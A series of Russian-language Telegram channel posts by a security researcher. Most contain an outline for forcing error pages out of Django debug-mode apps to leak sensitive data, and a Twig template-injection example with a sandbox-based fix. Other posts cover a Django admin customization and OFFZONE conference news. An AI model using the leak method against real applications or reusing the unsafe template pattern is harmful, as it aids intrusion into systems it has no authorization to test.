Думаю, многие видели пост Бума про то, как можно вызвать ошибку в Django в режиме отладки и получить какую-то сенсетив информацию. Хотелось бы рассказать про еще 1 метод, который не был упомянут в посте. Допустим, что вам удалось найти приложение, написанное с использованием фреймворка Django, которое запущено в режиме отладки. Что делать, если дефолтные проверки не дали результатов и у вас не получилось вызвать какую-то ошибку в приложении? 1. Делаем запрос на несуществующий эндпоинт, получая информацию о зарегистрированных роутах в приложении; 2. Анализируем вывод и на основе анализа получаем информацию о том, какие плагины использует приложение. В качестве примера рассмотрим то, с чем я столкнулся в реальной жизни; 3. Идем на эндпоинт этого плагина (в данном случае - /rosetta) и вызываем там ошибку, описанную в п1, таким образом получая информацию о существующих эндпоинтах плагина. Зачем это делать? Оказывается, что у некоторых плагинов есть куча форков, которые, понятное дело, работают по разному и имеют разный набор роутов. 4. По доркам находим исходники этого форка и начинаем анализировать код. Искать советую именно по определенным эндпоинтам! Так, к примеру, я обнаружил, что приложение использует данный форк. 5. Во время анализа обращаем внимание не только на участки кода, которые могут привести к привычным нам уязвимостям, но и к участкам кода, которые могут вызвать 500 ошибку. Таким образом, можно найти что-то похожее (каст типа str к int) и получить 500 ошибку, которая ликнет сенсетив информацию!
423
11
Работая над одним проектом, пришлось столкнуться с Twig и с его ошибками во время обработки шаблонов, приводящих к удаленному исполнению кода. Во время работы над устранением данных ошибок, нашелся крайне странный способ фикса, который, насколько я знаю, очень сильно отличается от привычных фиксов в других языках. Допустим, что на бэкенде мы не используем файлы шаблонов, а используем шаблоны, которые мы создаем в real-time. В условном Flask мы бы могли сделать это с помощью функции render_template_string. В Twig же, есть нечто похожее: $loader = new Twig_Loader_Array([]) $twig = new Twig_Environment($loader); return $twig->createTemplate($data)->render(); В случае, если в метод createTemplate поступят данные атакующего - будет возможность проексплуатировать SSTI. Но тут возникает вопрос - а как это зафиксить? Оказалось, что объект Twig_Loader_Array куда интереснее, чем может показаться. Документация гласит: "\Twig\Loader\ArrayLoader loads a template from a PHP array. It is passed an array of strings bound to template names" Что в этом случае значат "template names" одному разработчику ядра twig ясно. Во всех примерах используются названия на типе index.html/base.twig.html и другие, что наталкивает на мысль о том, что Twig попытается прочитать этот файл из заранее заданной папки с шаблонами. Так ли это на самом деле? Ответ прост - нет. На самом деле, все эти значения хранятся в памяти и в локальном кеше: >>> $loader = new \Twig\Loader\ArrayLoader([ 'fileThatDoesNotExists' => 'Hello {{ name }}!', ]); => Twig\Loader\ArrayLoader {#5775} >>> $twig = new \Twig\Environment($loader); => Twig\Environment {#5786} >>> echo $twig->render('fileThatDoesNotExists', ['name' => 'Riven']); Hello Riven!⏎ Т.е, на деле, нам не надо создавать файлы шаблонов и хранить их на системе, если речь идет не про какой-то большой софт и вполне можно использовать всякие лайфхаки для того, чтоб, к примеру, сделать sandbox, который будет генерироваться в realtime используя loader под названием ChainLoader: $loader1 = new \Twig\Loader\ArrayLoader([ 'fileThatDoesNotExists' => "{% if 1==1 %} Tag Test {%endif%} test content here" ]); $loader2 = new \Twig\Loader\ArrayLoader([ 'SandboxForfileThatDoesNotExists' => '{% sandbox %}{% include "fileThatDoesNotExists" %} {% endsandbox %}' ]); $loader = new \Twig\Loader\ChainLoader([$loader1, $loader2]); $twig = new \Twig\Environment($loader); $twig->addExtension($sandbox); $renderedOutput = $twig->render('SandboxForfileThatDoesNotExists');
452
12
Кто-то: Ждет пока я зарелbжу что-то полезное. Тем временем я: https://github.com/rive-n/legendary-fishstick
469
13
#почему_я_ненеавижу_django #длиннопост Это огромный монолит, который крайне тяжело кастомить. Возможно, если набраться опыта в 10 лет в разработке только на этом фреймворке, то будет легче, но все равно неприятно. Кейс: Есть модель, назовем ее ModelA, внутри которой хранятся уязвимости, относящиеся к определенному куску текста. Есть другая модель, назовем ее ModelB, созданная для верификации уязвимостей, которые стекаются из предидущей модели. Понятное дело что отношение между ними OneToOne. В модели ModelB есть поле ManyToManyField к модели ModelC, которая содержит в себе все уязвимости. Нужно сделать так, чтоб при изменении SingleChoiseForm (на основе OneToOne) прямо в панели администратора обновлялась форма ManyToManyField, так как мы хотим дать пользователю возможность выбрать только те уязвимости, которые были реально занесены в ModelA. (Тяжело...) Но, так как в джанге (насколько я знаю) НЕТУ адекватного способа сделать что-то такое, то мне пришлось, as always, потратить какое-то время на решение проблемы. Алгоритм, как оказалось, весьма несложен: 1. Создаем шаблон, который расширяет базовый шаблон admin/change_form.html; В самое начало необходимо вставить теги: {% extends "admin/change_form.html" %} {% load i18n %} {% load static %} {% block admin_change_form_document_ready %} {{ block.super }} 2. В теле шаблона (или в отдельном .js файле) описываем EventListeners на изменение нужного нам поля. После срабатывания хука - собираем всю необходимую Django информацию в виде полей из формы (в том числе csrfmiddlewaretoken) и далем POST запрос с последующим обновлением страницы. 3. На бэкенде создаем форму (наследуемся от forms.ModelForm) и инициализируем ее с помощью магического метода __init__. Сигнатура будет такой: def __init__(self, *args, **kwargs). Внутри kwargs хранится объект, который содержит в себе все необходимое из запроса. Нам нужно получить эти данные, сделать запрос к базе и обновить форму. Выглядит это примерно следующим образом: def __init__(self, *args, **kwargs): if kwargs.get('instance'): task_id = kwargs['instance'].task_id else: task_id = None super().__init__(*args, **kwargs) if task_id: task = SomeModel.objects.get(id=task_id) choices = task.someobject.values_list('id', 'vulnName') self.fields['foundVulnerabilities'].choices = choices
508
14
​Привет! Long time no see 👋 В этом году, как вы могли заметить, я вхожу в круг организаторов OFFZONE и впридачу являюсь community партнером. Поэтому, у меня для вас отличные новости - я собираюсь разыграть 1 проходку на OFFZONE среди участников этого канала. Что нужно сделать: 🔊Заслать топ интересных репортов/ресерчей за последний год в комментарии к этому посту. Через неделю я выберу комментарий с самыми интересными по моему мнению багами и вручу победителю билет.
395
15
Немає тексту...
2
16
®️ Еще неделю принимаем заявки на CFP Если вы все это время думали, стоит выступать с докладом на OFFZONE или нет, ответствен
®️ Еще неделю принимаем заявки на CFP Если вы все это время думали, стоит выступать с докладом на OFFZONE или нет, ответственно заявляем: стоит! Присылайте заявки на основной трек и AppSec.Zone до 17 июля.
270
17
Пока у меня нет возможности запилить новый пост, напомню, что мы все еще находимся в поиске спикеров, в том числе на APPSEC.ZONE! Спикеры получат крутейший мерч, бесплатную проходку на мероприятие и на секретный ивент для спикеров!
288
18
к
2
19
Привет! Наконец дошли руки до того чтоб переподнять блог, доделать на нем автоматизацию и написать райтап на Payment Village задания со стендофа. Ознакомиться можно тут. Приятного прочтения 😴
488
20
Всем спасибо за TheStandoff! И отдельное спасибо команде True0xA3 за возможность поучаствовать оффлайн :)
Всем спасибо за TheStandoff! И отдельное спасибо команде True0xA3 за возможность поучаствовать оффлайн :)
381